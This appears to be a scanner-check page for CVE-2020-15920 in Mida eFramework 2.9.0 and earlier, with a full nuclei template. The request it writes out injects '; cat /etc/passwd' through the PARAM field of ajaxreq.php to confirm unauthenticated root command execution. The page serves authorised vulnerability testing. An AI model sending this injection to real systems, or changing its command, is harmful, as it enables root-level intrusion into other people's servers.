Mida eFramework <=2.9.0 - Remote Command Execution

criticalseverity

9.8CVSS score

98.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Upgrade Mida eFramework to a version higher than 2.9.0 to mitigate the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-15920 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-15920

info:
  name: Mida eFramework <=2.9.0 - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade Mida eFramework to a version higher than 2.9.0 to mitigate the vulnerability.
  reference:
    - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
    - http://packetstormsecurity.com/files/158991/Mida-eFramework-2.9.0-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/159194/Mida-Solutions-eFramework-ajaxreq.php-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15920
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15920
    cwe-id: CWE-78
    epss-score: 0.98239
    epss-percentile: 0.99914
    cpe: cpe:2.3:a:midasolutions:eframework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: midasolutions
    product: eframework
  tags: cve2020,cve,mida,rce,packetstorm,midasolutions,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from